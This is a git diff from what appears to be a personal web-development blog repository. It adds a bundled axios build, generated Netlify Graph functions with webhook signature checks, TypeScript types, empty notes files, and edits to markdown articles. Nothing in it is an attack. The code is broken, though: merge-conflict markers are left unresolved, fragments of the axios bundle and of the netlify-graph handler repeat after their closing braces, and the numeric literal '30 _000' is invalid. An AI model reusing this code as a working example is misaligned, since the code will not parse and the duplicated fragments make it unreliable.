+                'FORCE_COLOR' in s && (i = 0 === s.FORCE_COLOR.length || 0 !== parseInt(s.FORCE_COLOR, 10)),
+                (e.exports = {
+                    supportsColor: a,
+                    stdout: a(process.stdout),
+                    stderr: a(process.stderr)
+                });
+        },
+        function(e, _t) {
+            e.exports = require('os');
+        },
+        function(e, _t, _r) {
+            'use strict';
+            e.exports = (e, t) => {
+                t = t || process.argv;
+                const r = e.startsWith('-') ? '' : 1 === e.length ? '-' : '--',
+                    n = t.indexOf(r + e),
+                    o = t.indexOf('--');
+                return -1 !== n && (-1 === o || n < o);
+            };
+        },
+        function(e, _t) {
+            e.exports = require('zlib');
+        },
+        function(e) {
+            e.exports = JSON.parse(
+                '{"name":"axios","version":"0.19.1","description":"Promise based HTTP client for the browser and node.js","main":"index.js","scripts":{"test":"grunt test && bundlesize","start":"node ./sandbox/server.js","build":"NODE_ENV=production grunt build","preversion":"npm test","version":"npm run build && grunt version && git add -A dist && git add CHANGELOG.md bower.json package.json","postversion":"git push && git push --tags","examples":"node ./examples/server.js","coveralls":"cat coverage/lcov.info | ./node_modules/coveralls/bin/coveralls.js","fix":"eslint --fix lib/**/*.js"},"repository":{"type":"git","url":"https://github.com/axios/axios.git"},"keywords":["xhr","http","ajax","promise","node"],"author":"Matt Zabriskie","license":"MIT","bugs":{"url":"https://github.com/axios/axios/issues"},"homepage":"https://github.com/axios/axios","devDependencies":{"bundlesize":"^0.17.0","coveralls":"^3.0.0","es6-promise":"^4.2.4","grunt":"^1.0.2","grunt-banner":"^0.6.0","grunt-cli":"^1.2.0","grunt-contrib-clean":"^1.1.0","grunt-contrib-watch":"^1.0.0","grunt-eslint":"^20.1.0","grunt-karma":"^2.0.0","grunt-mocha-test":"^0.13.3","grunt-ts":"^6.0.0-beta.19","grunt-webpack":"^1.0.18","istanbul-instrumenter-loader":"^1.0.0","jasmine-core":"^2.4.1","karma":"^1.3.0","karma-chrome-launcher":"^2.2.0","karma-coverage":"^1.1.1","karma-firefox-launcher":"^1.1.0","karma-jasmine":"^1.1.1","karma-jasmine-ajax":"^0.1.13","karma-opera-launcher":"^1.0.0","karma-safari-launcher":"^1.0.0","karma-sauce-launcher":"^1.2.0","karma-sinon":"^1.0.5","karma-sourcemap-loader":"^0.3.7","karma-webpack":"^1.7.0","load-grunt-tasks":"^3.5.2","minimist":"^1.2.0","mocha":"^5.2.0","sinon":"^4.5.0","typescript":"^2.8.1","url-search-params":"^0.10.0","webpack":"^1.13.1","webpack-dev-server":"^1.14.1"},"browser":{"./lib/adapters/http.js":"./lib/adapters/xhr.js"},"typings":"./index.d.ts","dependencies":{"follow-redirects":"1.5.10"},"bundlesize":[{"path":"./dist/axios.min.js","threshold":"5kB"}]}'
+            );
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(15);
+            function o(e) {
+                if ('function' != typeof e) throw new TypeError('executor must be a function.');
+                var t;
+                this.promise = new Promise(function(e) {
+                    t = e;
+                });
+                var r = this;
+                e(function(e) {
+                    r.reason || ((r.reason = new n(e)), t(r.reason));
+                });
+            }
+            (o.prototype.throwIfRequested = function() {
+                if (this.reason) throw this.reason;
+            }),
+            (o.source = function() {
+                var e;
+                return {
+                    token: new o(function(t) {
+                        e = t;
+                    }),
+                    cancel: e
+                };
+            }),
+            (e.exports = o);
+        },
+        function(e, _t, _r) {
+            'use strict';
+            e.exports = function(e) {
+                return function(t) {
+                    return e.apply(null, t);
+                };
+            };
+        }
+    ])
+);
+(o.prototype.throwIfRequested = function() {
+    if (this.reason) throw this.reason;
+}),
+(o.source = function() {
+    var e;
+    return {
+        token: new o(function(t) {
+            e = t;
+        }),
+        cancel: e
+    };
+}),
+(e.exports = o);
+},
+function(e, _t, _r) {
+    'use strict';
+    e.exports = function(e) {
+        return function(t) {
+            return e.apply(null, t);
+        };
+    };
+}
+])
+);
+>>>>>>> master
diff --git a/netlify/functions/netlify-graph.js b/netlify/functions/netlify-graph.js
new file mode 100644
index 0000000000..eca4513142
--- /dev/null
+++ b/netlify/functions/netlify-graph.js
@@ -0,0 +1,34 @@
+/* It's a function that is being exported from the netlifyGraph file. */
+import {
+    fetchExampleQuery
+} from '../netlifyGraph' // make sure this is the path to your netlify/functions dir
+
+exports.handler = async function(event, context) {
+    const {
+        errors,
+        data
+    } = await fetchExampleQuery({
+        /* variables */
+    }, {
+        accessToken: event.netlifyGraphToken
+    })
+
+    return {
+        statusCode: errors ? 500 : 200,
+        body: JSON.stringify(errors || data),
+        headers: {
+            "Content-Type": "application/json"
+        }
+    }
+}
+accessToken: event.netlifyGraphToken
+})
+
+return {
+    statusCode: errors ? 500 : 200,
+    body: JSON.stringify(errors || data),
+    headers: {
+        "Content-Type": "application/json"
+    }
+}
+}
diff --git a/netlify/functions/netlifyGraph/fetchExampleQuery.js b/netlify/functions/netlifyGraph/fetchExampleQuery.js
new file mode 100644
index 0000000000..3d6f205ef6
--- /dev/null
+++ b/netlify/functions/netlifyGraph/fetchExampleQuery.js
@@ -0,0 +1,290 @@
+// GENERATED VIA NETLIFY AUTOMATED DEV TOOLS, EDIT WITH CAUTION!
+const buffer = require('buffer');
+const crypto = require('crypto');
+const https = require('https');
+const process = require('process');
+
+exports.verifySignature = (input) => {
+    const secret = input.secret;
+    const body = input.body;
+    const signature = input.signature;
+
+    if (!signature) {
+        console.error('Missing signature');
+        return false;
+    }
+
+    const sig = {};
+    for (const pair of signature.split(',')) {
+        const [key, value] = pair.split('=');
+        sig[key] = value;
+    }
+
+    if (!sig.t || !sig.hmac_sha256) {
+        console.error('Invalid signature header');
+        return false;
+    }
+
+    const hash = crypto.createHmac('sha256', secret).update(sig.t).update('.').update(body).digest('hex');
+
+    if (!crypto.timingSafeEqual(Buffer.from(hash, 'hex'), Buffer.from(sig.hmac_sha256, 'hex'))) {
+        console.error('Invalid signature');
+        return false;
+    }
+
+    if (parseInt(sig.t, 10) < Date.now() / 1000 - 300 /* 5 minutes */ ) {
+        console.error('Request is too old');
+        return false;
+    }
+
+    return true;
+};
+
+const operationsDoc = `query ExampleQuery @netlify(id: """9d091d59-0d10-400f-8417-f171e588dfc2""", doc: """An example query to start with.""") {
+  me(
+    auths: {brexAuth: "", airtableApiKey: "", clearbitAuth: "", crunchbaseUserKey: "", cloudflareUserAuth: {key: "", email: ""}, dribbbleOAuthToken: "", dropboxOAuthToken: "", facebookOAuthToken: "", firebaseOAuthToken: "", gitHubOAuthToken: "", gmailOAuthToken: "", googleCalendarOAuthToken: "", gongAuth: {basic: {accessKeySecret: "", accessKey: ""}, oauthToken: ""}, googleComputeOAuthToken: "", googleMapsKey: "", googleDocsOAuthToken: "", googleOAuthToken: "", intercomOAuthToken: "", hubspotOAuthToken: "", googleSearchConsoleOAuthToken: "", zendeskAPITokenAuth: {token: "", email: "", subdomain: ""}, zeitOAuthToken: "", youtubeOAuthToken: "", wordpressBearerToken: "", upsAPIAuth: {accessToken: "", password: "", username: ""}, stripeOAuthToken: "", spotifyOAuthToken: "", slackOAuthToken: "", productHuntOAuthToken: "", openCollective: {apiKey: ""}, onegraphToken: "", graphCmsToken: "", googleTranslateOAuthToken: ""}
+  ) {
+    github {
+      bio
+      bioHTML
+      company
+      companyHTML
+      createdAt
+      email
+      hasSponsorsListing
+      isBountyHunter
+      login
+      name
+      oneGraphId
+      organizationVerifiedDomainEmails(login: "")
+      url
+      websiteUrl
+    }
+  }
+  emailNode(email: "") {
+    salesforceContact {
+      assistantName
+      accountId
+    }
+  }
+  npm
+  oneGraphNode(oneGraphId: "") {
+    oneGraphId
+    oneGraphLinkedNodes {
+      nodes {
+        oneGraphId
+        ... on ApolloSequence {
+          id
+          name
+        }
+        ... on ApolloAccount {
+          id
+          name
+        }
+        ... on ApolloContact {
+          id
+          email
+          lastName
+        }
+        ... on ApolloPerson {
+          id
+          email
+          accountId
+          city
+          country
+          emailStatus
+        }
+      }
+    }
+  }
+  gitHub(
+    auths: {airtableApiKey: "", clearbitAuth: "", crunchbaseUserKey: "", dribbbleOAuthToken: "", facebookOAuthToken: "", gitHubOAuthToken: "", gmailOAuthToken: "", gongAuth: {oauthToken: ""}, logdnaServiceAuth: {serviceKey: ""}, mixpanelApiSecret: "", productHuntOAuthToken: ""}
+  ) {
+    makeRestCall {
+      get(path: "", accept: "", allowUnauthenticated: false, query: "") {
+        jsonBody
+        response {
+          headers
+          httpVersion
+          rawBody(as: PLAIN)
+          statusCode
+        }
+      }
+    }
+    search(query: "", type: ISSUE)
+    resource(url: "")
+    repositoryOwner(login: "")
+    repository(name: "", owner: "") {
+      autoMergeAllowed
+      branchProtectionRules(after: "", before: "", first: 10, last: 10) {
+        totalCount
+        edges {
+          cursor
+          node {
+            allowsDeletions
+            allowsForcePushes
+            creator {
+              avatarUrl(size: 10)
+              login
+              resourcePath
+              url
+              ... on GitHubUser {
+                id
+                email
+                bioHTML
+                commitComments(after: "", before: "", last: 10) {
+                  edges {
+                    cursor
+                  }
+                }
+                company
+                companyHTML
+                createdAt
+                databaseId
+                followers(after: "", last: 10, first: 10, before: "") {
+                  totalCount
+                  edges {
+                    cursor
+                  }
+                }
+                login
+                issues
+              }
+              ... on GitHubBot {
+                id
+                avatarUrl
+                login
+                oneGraphId
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+`;
+
+const httpFetch = (siteId, options) => {
+    const reqBody = options.body || null;
+    const userHeaders = options.headers || {};
+    const headers = {
+        ...userHeaders,
+        'Content-Type': 'application/json',
+        'Content-Length': reqBody.length
+    };
+
+    const timeoutMs = 30 _000;
+
+    const reqOptions = {
+        method: 'POST',
+        headers: headers,
+        timeout: timeoutMs
+    };
+
+    const url = 'https://serve.onegraph.com/graphql?app_id=' + siteId;
+
+    const respBody = [];
+
+    return new Promise((resolve, reject) => {
+        const req = https.request(url, reqOptions, (res) => {
+            if (res.statusCode && (res.statusCode < 200 || res.statusCode > 299)) {
+                return reject(new Error('Netlify Graph return non-OK HTTP status code' + res.statusCode));
+            }
+
+            res.on('data', (chunk) => respBody.push(chunk));
+
+            res.on('end', () => {
+                const resString = buffer.Buffer.concat(respBody).toString();
+                resolve(resString);
+            });
+        });
+
+        req.on('error', (error) => {
+            console.error('Error making request to Netlify Graph:', error);
+        });
+
+        req.on('timeout', () => {
+            req.destroy();
+            reject(new Error('Request to Netlify Graph timed out'));
+        });
+
+        req.write(reqBody);
+        req.end();
+    });
+};
+
+const fetchNetlifyGraph = async function fetchNetlifyGraph(input) {
+    const query = input.query;
+    const operationName = input.operationName;
+    const variables = input.variables;
+
+    const options = input.options || {};
+    const accessToken = options.accessToken;
+    const siteId = options.siteId || process.env.SITE_ID;
+
+    const payload = {
+        query: query,
+        variables: variables,
+        operationName: operationName
+    };
+
+    const result = await httpFetch(siteId, {
+        method: 'POST',
+        headers: {
+            Authorization: accessToken ? 'Bearer ' + accessToken : ''
+        },
+        body: JSON.stringify(payload)
+    });
+
+    return JSON.parse(result);
+};
+
+exports.verifyRequestSignature = (request, options) => {
+    const event = request.event;
+    const secret = options.webhookSecret || process.env.NETLIFY_GRAPH_WEBHOOK_SECRET;
+    const signature = event.headers['x-netlify-graph-signature'];
+    const body = event.body;
+
+    if (!secret) {
+        console.error('NETLIFY_GRAPH_WEBHOOK_SECRET is not set, cannot verify incoming webhook request');
+        return false;
+    }
+
+    return verifySignature({
+        secret,
+        signature,
+        body: body || ''
+    });
+};
+
+exports.fetchExampleQuery = (variables, options) => {
+    return fetchNetlifyGraph({
+        query: operationsDoc,
+        operationName: 'ExampleQuery',
+        variables: variables,
+        options: options || {}
+    });
+};
+
+/**
+ * The generated NetlifyGraph library with your operations
+ */
+const functions = {
+    /**
+     * An example query to start with.
+     */
+    fetchExampleQuery: exports.fetchExampleQuery
+};
+
+exports.default = functions;
+
+exports.handler = () => {
+    // return a 401 json response
+    return {
+        statusCode: 401,
+        body: JSON.stringify({
+            message: 'Unauthorized'
+        })
+    };
+};
\ No newline at end of file
diff --git a/netlify/functions/netlifyGraph/index.d.ts b/netlify/functions/netlifyGraph/index.d.ts
new file mode 100644
index 0000000000..afd9070cd0
--- /dev/null
+++ b/netlify/functions/netlifyGraph/index.d.ts
@@ -0,0 +1,257 @@
+// GENERATED VIA NETLIFY AUTOMATED DEV TOOLS, EDIT WITH CAUTION!
+
+export type NetlifyGraphFunctionOptions = {
+    /**
+     * The accessToken to use for the request
+     */
+    accessToken?: string;
+    /**
+     * The siteId to use for the request
+     * @default process.env.SITE_ID
+     */
+    siteId?: string;
+};
+
+export type WebhookEvent = {
+    body: string;
+    headers: Record<string, string | null | undefined>;
+};
+
+export type GraphQLError = {
+    path: Array<string | number>;
+    message: string;
+    extensions: Record<string, unknown>;
+};
+
+export type ExampleQuery = {
+    /**
+     * Any data from the function will be returned here
+     */
+    data: {
+        me: {
+            github: {
+                /**
+                 * The user's public profile bio.
+                 */
+                bio: string;
+                /**
+                 * The user's public profile bio as HTML.
+                 */
+                bioHTML: unknown;
+                /**
+                 * The user's public profile company.
+                 */
+                company: string;
+                /**
+                 * The user's public profile company as HTML.
+                 */
+                companyHTML: unknown;
+                /**
+                 * Identifies the date and time when the object was created.
+                 */
+                createdAt: unknown;
+                /**
+                 * The user's publicly visible profile email.
+                 */
+                email: string;
+                /**
+                 * True if this user/organization has a GitHub Sponsors listing.
+                 */
+                hasSponsorsListing: boolean;
+                /**
+                 * Whether or not this user is a participant in the GitHub Security Bug Bounty.
+                 */
+                isBountyHunter: boolean;
+                /**
+                 * The username used to login.
+                 */
+                login: string;
+                /**
+                 * The user's public profile name.
+                 */
+                name: string;
+                /**
+                 * Unique id across all of OneGraph
+                 */
+                oneGraphId: string;
+                /**
+                 * Verified email addresses that match verified domains for a specified organization the user is a member of.
+                 */
+                organizationVerifiedDomainEmails: Array<string>;
+                /**
+                 * The HTTP URL for this user
+                 */
+                url: string;
+                /**
+                 * A URL pointing to the user's public website/blog.
+                 */
+                websiteUrl: string;
+            };
+        };
+        emailNode: {
+            /**
+             * Salesforce Contct.
+             */
+            salesforceContact: {
+                /**
+                 * Assistant's Name
+                 */
+                assistantName: string;
+                /**
+                 * Account ID
+                 */
+                accountId: string;
+            };
+        };
+        /**
+         * The root for npm queries
+         */
+        npm: /** No fields, named fragments, or inline fragments found */ Record<string, unknown>;
+        /**
+         * Fetches an object given its globally unique `oneGraphId`.
+         */
+        oneGraphNode: {
+            /**
+             * The id of the object.
+             */
+            oneGraphId: string;
+            /**
+             * List of OneGraphNodes that are linked from this node.
+             */
+            oneGraphLinkedNodes: {
+                /**
+                 * List of OneGraphNodes that are linked from this node.
+                 */
+                nodes: Array<
+                    {
+                        /**
+                         * The id of the object.
+                         */
+                        oneGraphId: string;
+                    }
+                >;
+            };
+        };
+        gitHub: {
+            /**
+  * Make a REST API call to the GitHub API.
+
+OneGraph will inject the auth params for the API call.
+
+Use this as an escape hatch if OneGraph does not yet support functionality of the underlying API.
+  */
+            makeRestCall: {
+                /**
+                 * Make a GET request to the GitHub API. Use this as an escape hatch if OneGraph does not yet support functionality of the underlying API.
+                 */
+                get: {
+                    /**
+                     * The json-encoded body of the HTTP response. If you need the raw body, use `response.rawBody`.
+                     */
+                    jsonBody: unknown;
+                    /**
+                     * The full response of the API request, including headers and status code.
+                     */
+                    response: {
+                        /**
+                         * The HTTP headers, as a list of key, value pairs.
+                         */
+                        headers: Array<Array<string>>;
+                        /**
+                         * The HTTP version, usually 1.1
+                         */
+                        httpVersion: string;
+                        /**
+                         * The body of the HTTP response, as a string.
+                         */
+                        rawBody: string;
+                        /**
+                         * The HTTP status code of the response
+                         */
+                        statusCode: number;
+                    };
+                };
+            };
+            /**
+             * Perform a search across resources.
+             */
+            search: /** No fields, named fragments, or inline fragments found */ Record<string, unknown>;
+            /**
+             * Lookup a given repository by the owner and repository name.
+             */
+            repository: {
+                /**
+                 * Whether or not Auto-merge can be enabled on pull requests in this repository.
+                 */
+                autoMergeAllowed: boolean;
+                /**
+                 * A list of branch protection rules for this repository.
+                 */
+                branchProtectionRules: {
+                    /**
+                     * Identifies the total count of items in the connection.
+                     */
+                    totalCount: number;
+                    /**
+                     * A list of edges.
+                     */
+                    edges: Array<{
+                        /**
+                         * A cursor for use in pagination.
+                         */
+                        cursor: string;
+                        /**
+                         * The item at the end of the edge.
+                         */
+                        node: {
+                            /**
+                             * Can this branch be deleted.
+                             */
+                            allowsDeletions: boolean;
+                            /**
+                             * Are force pushes allowed on this branch.
+                             */
+                            allowsForcePushes: boolean;
+                            /**
+                             * The actor who created this branch protection rule.
+                             */
+                            creator: {
+                                /**
+                                 * A URL pointing to the actor's public avatar.
+                                 */
+                                avatarUrl: string;
+                                /**
+                                 * The username of the actor.
+                                 */
+                                login: string;
+                                /**
+                                 * The HTTP path for this actor.
+                                 */
+                                resourcePath: string;
+                                /**
+                                 * The HTTP URL for this actor.
+                                 */
+                                url: string;
+                            };
+                        };
+                    }>;
+                };
+            };
+        };
+    };
+    /**
+     * Any errors from the function will be returned here
+     */
+    errors: Array<GraphQLError>;
+};
+
+/**
+ * An example query to start with.
+ */
+export function fetchExampleQuery(
+    /**
+     * Pass `{}` as no variables are defined for this function.
+     */
+    variables: Record<string, never>,
+    options?: NetlifyGraphFunctionOptions
+): Promise<ExampleQuery>;
diff --git a/netlify/functions/netlifyGraph/netlifyGraphOperationsLibrary.graphql b/netlify/functions/netlifyGraph/netlifyGraphOperationsLibrary.graphql
index e69de29bb2..13c3bfdb07 100644
--- a/netlify/functions/netlifyGraph/netlifyGraphOperationsLibrary.graphql
+++ b/netlify/functions/netlifyGraph/netlifyGraphOperationsLibrary.graphql
@@ -0,0 +1,123 @@
+query ExampleQuery @netlify(id: """9d091d59-0d10-400f-8417-f171e588dfc2""", doc: """An example query to start with.""") {
+  me(
+    auths: {brexAuth: "", airtableApiKey: "", clearbitAuth: "", crunchbaseUserKey: "", cloudflareUserAuth: {key: "", email: ""}, dribbbleOAuthToken: "", dropboxOAuthToken: "", facebookOAuthToken: "", firebaseOAuthToken: "", gitHubOAuthToken: "", gmailOAuthToken: "", googleCalendarOAuthToken: "", gongAuth: {basic: {accessKeySecret: "", accessKey: ""}, oauthToken: ""}, googleComputeOAuthToken: "", googleMapsKey: "", googleDocsOAuthToken: "", googleOAuthToken: "", intercomOAuthToken: "", hubspotOAuthToken: "", googleSearchConsoleOAuthToken: "", zendeskAPITokenAuth: {token: "", email: "", subdomain: ""}, zeitOAuthToken: "", youtubeOAuthToken: "", wordpressBearerToken: "", upsAPIAuth: {accessToken: "", password: "", username: ""}, stripeOAuthToken: "", spotifyOAuthToken: "", slackOAuthToken: "", productHuntOAuthToken: "", openCollective: {apiKey: ""}, onegraphToken: "", graphCmsToken: "", googleTranslateOAuthToken: ""}
+  ) {
+    github {
+      bio
+      bioHTML
+      company
+      companyHTML
+      createdAt
+      email
+      hasSponsorsListing
+      isBountyHunter
+      login
+      name
+      oneGraphId
+      organizationVerifiedDomainEmails(login: "")
+      url
+      websiteUrl
+    }
+  }
+  emailNode(email: "") {
+    salesforceContact {
+      assistantName
+      accountId
+    }
+  }
+  npm
+  oneGraphNode(oneGraphId: "") {
+    oneGraphId
+    oneGraphLinkedNodes {
+      nodes {
+        oneGraphId
+        ... on ApolloSequence {
+          id
+          name
+        }
+        ... on ApolloAccount {
+          id
+          name
+        }
+        ... on ApolloContact {
+          id
+          email
+          lastName
+        }
+        ... on ApolloPerson {
+          id
+          email
+          accountId
+          city
+          country
+          emailStatus
+        }
+      }
+    }
+  }
+  gitHub(
+    auths: {airtableApiKey: "", clearbitAuth: "", crunchbaseUserKey: "", dribbbleOAuthToken: "", facebookOAuthToken: "", gitHubOAuthToken: "", gmailOAuthToken: "", gongAuth: {oauthToken: ""}, logdnaServiceAuth: {serviceKey: ""}, mixpanelApiSecret: "", productHuntOAuthToken: ""}
+  ) {
+    makeRestCall {
+      get(path: "", accept: "", allowUnauthenticated: false, query: "") {
+        jsonBody
+        response {
+          headers
+          httpVersion
+          rawBody(as: PLAIN)
+          statusCode
+        }
+      }
+    }
+    search(query: "", type: ISSUE)
+    resource(url: "")
+    repositoryOwner(login: "")
+    repository(name: "", owner: "") {
+      autoMergeAllowed
+      branchProtectionRules(after: "", before: "", first: 10, last: 10) {
+        totalCount
+        edges {
+          cursor
+          node {
+            allowsDeletions
+            allowsForcePushes
+            creator {
+              avatarUrl(size: 10)
+              login
+              resourcePath
+              url
+              ... on GitHubUser {
+                id
+                email
+                bioHTML
+                commitComments(after: "", before: "", last: 10) {
+                  edges {
+                    cursor
+                  }
+                }
+                company
+                companyHTML
+                createdAt
+                databaseId
+                followers(after: "", last: 10, first: 10, before: "") {
+                  totalCount
+                  edges {
+                    cursor
+                  }
+                }
+                login
+                issues
+              }
+              ... on GitHubBot {
+                id
+                avatarUrl
+                login
+                oneGraphId
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/notes/ActionLink.md b/notes/ActionLink.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/CtaButtons.md b/notes/CtaButtons.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/DocsMenu.md b/notes/DocsMenu.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/DocsSubmenu.md b/notes/DocsSubmenu.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/Footer.md b/notes/Footer.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/FormField.md b/notes/FormField.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/Header.md b/notes/Header.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/Icon.md b/notes/Icon.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/Layout.md b/notes/Layout.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/SectionContent.md b/notes/SectionContent.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/SectionCta.md b/notes/SectionCta.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/SectionDocs.md b/notes/SectionDocs.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/SectionGrid.md b/notes/SectionGrid.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/SectionHero.md b/notes/SectionHero.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/Submenu.md b/notes/Submenu.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/notes/articles/medium/markdown/Basic-Web-Development-Environment.md b/notes/articles/medium/markdown/Basic-Web-Development-Environment.md
index b57706a3a8..1fa2163105 100644
--- a/notes/articles/medium/markdown/Basic-Web-Development-Environment.md
+++ b/notes/articles/medium/markdown/Basic-Web-Development-Environment.md
@@ -120,6 +120,7 @@ As of the time of writing of this document, WSL has an issue renaming or deletin
     # FileZilla - a FTP client
     sudo apt-get install -y filezilla
 
+<<<<<<< HEAD:notes/articles/medium/markdown/Basic-Web-Development-Environment.md
 #### If you found this guide helpful feel free to checkout my github/gists where I host similar content:
 
 <a href="https://gist.github.com/bgoonz" class="markup--anchor markup--p-anchor">bgoonz's gists · GitHub</a>
@@ -135,6 +136,29 @@ Or Checkout my personal Resource Site:
 <br/>
 
 <em>Memoization, Tabulation, and Sorting Algorithms by Example Why is looking at runtime not a reliable method of…</em>bgoonz-blog.netlify.app</a><a href="https://bgoonz-blog.netlify.app/" class="js-mixtapeImage mixtapeImage u-ignoreBlock"></a>
+=======
+#### If you found this guide helpful feel free to checkout my github/gists where I host similar content
+
+<a href="https://gist.github.com/bgoonz" class="markup--anchor markup--p-anchor">bgoonz's gists · GitHub</a>
+
+<a href="https://github.com/bgoonz" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://github.com/bgoonz">
+<strong>bgoonz - Overview</strong>
+<br/>
+
+<em>Web Developer, Electrical Engineer JavaScript | CSS | Bootstrap | Python | React | Node.js | Express | Sequelize…</em>github.com</a>
+<a href="https://github.com/bgoonz" class="js-mixtapeImage mixtapeImage u-ignoreBlock">
+</a>
+
+Or Checkout my personal Resource Site:
+
+<a href="https://bgoonz-blog.netlify.app/" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://bgoonz-blog.netlify.app/">
+<strong>Web-Dev-Hub</strong>
+<br/>
+
+<em>Memoization, Tabulation, and Sorting Algorithms by Example Why is looking at runtime not a reliable method of…</em>bgoonz-blog.netlify.app</a>
+<a href="https://bgoonz-blog.netlify.app/" class="js-mixtapeImage mixtapeImage u-ignoreBlock">
+</a>
+>>>>>>> master:src/pages/blog/webdev-setup.md
 
 By <a href="https://medium.com/@bryanguner" class="p-author h-card">Bryan Guner</a> on [February 27, 2021](https://medium.com/p/9f36c3f15afe).
 
diff --git a/notes/articles/medium/markdown/Essential-React-Interview-Questions-For-Aspiring-Frontend-Developers.md b/notes/articles/medium/markdown/Essential-React-Interview-Questions-For-Aspiring-Frontend-Developers.md
index 819c66438e..7dbbbf2cd8 100644
--- a/notes/articles/medium/markdown/Essential-React-Interview-Questions-For-Aspiring-Frontend-Developers.md
+++ b/notes/articles/medium/markdown/Essential-React-Interview-Questions-For-Aspiring-Frontend-Developers.md
@@ -1,3 +1,29 @@
+<<<<<<< HEAD:notes/articles/medium/markdown/Essential-React-Interview-Questions-For-Aspiring-Frontend-Developers.md
+=======
+---
+title: 10 Essential React Interview Questions
+template: post
+subtitle: For Aspiring Frontend Developers
+excerpt: Comprehensive React Cheatsheet included at the bottom of this article!
+date: 2022-05-08T18:44:35.533Z
+image: https://deploy-preview-2286--bgoonz-blog.netlify.app/images/react.gif
+thumb_image: https://deploy-preview-2286--bgoonz-blog.netlify.app/images/react.gif
+image_position: right
+author: src/data/authors/bgoonz.yaml
+categories:
+  - src/data/categories/react.yaml
+  - src/data/categories/js.yaml
+tags:
+  - src/data/tags/react.yaml
+  - src/data/tags/javascript.yaml
+show_author_bio: true
+related_posts:
+  - src/pages/blog/react-semantics.md
+  - src/pages/blog/react-state.md
+cmseditable: true
+---
+
+>>>>>>> master:src/pages/blog/10-essential-react-interview-questions.md
 # 10 Essential React Interview Questions For Aspiring Frontend Developers
 
 Comprehensive React Cheatsheet included at the bottom of this article!
diff --git a/notes/articles/medium/markdown/Understanding-Git--A-Beginners-Guide-Containing-Cheat-Sheets---Resources-.md b/notes/articles/medium/markdown/Understanding-Git--A-Beginners-Guide-Containing-Cheat-Sheets---Resources-.md
index 5495a9a9b1..7c5dc60d51 100644
--- a/notes/articles/medium/markdown/Understanding-Git--A-Beginners-Guide-Containing-Cheat-Sheets---Resources-.md
+++ b/notes/articles/medium/markdown/Understanding-Git--A-Beginners-Guide-Containing-Cheat-Sheets---Resources-.md
@@ -1,3 +1,17 @@
+<<<<<<< HEAD:notes/articles/medium/markdown/Understanding-Git--A-Beginners-Guide-Containing-Cheat-Sheets---Resources-.md
+=======
+---
+title: Git and Github
+weight: 0
+excerpt: Why is looking at runtime not a reliable method of calculating time complexity?
+seo:
+  title: Git and Github
+  description: A Quick Guide to Git and Github
+  robots: []
+  extra: []
+template: docs
+---
+>>>>>>> master:src/pages/docs/git/git/index.md
 # Understanding Git (A Beginners Guide Containing Cheat Sheets & Resources)
 
 Basic Git Work Flow.
@@ -25,14 +39,15 @@ Without version control, team members are subject to redundant tasks, slower tim
 
 According to the latest <a href="https://insights.stackoverflow.com/survey/2017#technology" class="markup--anchor markup--p-anchor">Stack Overflow developer survey</a>, more than 70 percent of developers use Git, making it the most-used VCS in the world. Git is commonly used for both open source and commercial software development, **with significant benefits** for individuals, teams and businesses.
 
--   <span id="0276">Git lets developers see the entire timeline of their changes, decisions, and progression of any project in one place. From the moment they access the history of a project, the developer has all the context they need to understand it and start contributing.</span>
--   <span id="2be5">Developers work in every time zone. With a DVCS like Git, collaboration can happen any time while maintaining source code integrity. Using branches, developers can safely propose changes to production code.</span>
--   <span id="6d54">Businesses using Git can break down communication barriers between teams and keep them focused on doing their best work. Plus, Git makes it possible to align experts across a business to collaborate on major projects.</span>
+- <span id="0276">Git lets developers see the entire timeline of their changes, decisions, and progression of any project in one place. From the moment they access the history of a project, the developer has all the context they need to understand it and start contributing.</span>
+- <span id="2be5">Developers work in every time zone. With a DVCS like Git, collaboration can happen any time while maintaining source code integrity. Using branches, developers can safely propose changes to production code.</span>
+- <span id="6d54">Businesses using Git can break down communication barriers between teams and keep them focused on doing their best work. Plus, Git makes it possible to align experts across a business to collaborate on major projects.</span>
 
 ### Table Of Contents:
 
 <a href="#editing-understanding-git-a-beginners-guide-containing-cheat-sheets--resources--medium" class="markup--anchor markup--p-anchor"><em>Editing Understanding Git (A Beginners Guide Containing Cheat Sheets &amp; Resources) — Medium</em></a>
 
+<<<<<<< HEAD:notes/articles/medium/markdown/Understanding-Git--A-Beginners-Guide-Containing-Cheat-Sheets---Resources-.md
 > <a href="#whats-a-distributed-version-controlsystem" class="markup--anchor markup--blockquote-anchor"><strong><em>What's a distributed version control system?</em></strong></a>
 
 > <a href="#why-git" class="markup--anchor markup--blockquote-anchor"><em>Why Git?</em></a>
@@ -106,6 +121,161 @@ According to the latest <a href="https://insights.stackoverflow.com/survey/2017#
 > **How 2's**
 
 > <a href="#troubleshooting-git" class="markup--anchor markup--blockquote-anchor"><strong><em>Troubleshooting Git</em></strong></a>
+=======
+> <a href="#whats-a-distributed-version-controlsystem" class="markup--anchor markup--blockquote-anchor">
+<strong>
+<em>What's a distributed version control system?</em>
+</strong>
+</a>
+
+> <a href="#why-git" class="markup--anchor markup--blockquote-anchor">
+<em>Why Git?</em>
+</a>
+
+> <a href="#whats-a-repository" class="markup--anchor markup--blockquote-anchor">
+<em>What's a repository?</em>
+</a>
+
+> <a href="#git-flow" class="markup--anchor markup--blockquote-anchor">
+<strong>
+<em>Git Flow</em>
+</strong>
+</a>
+
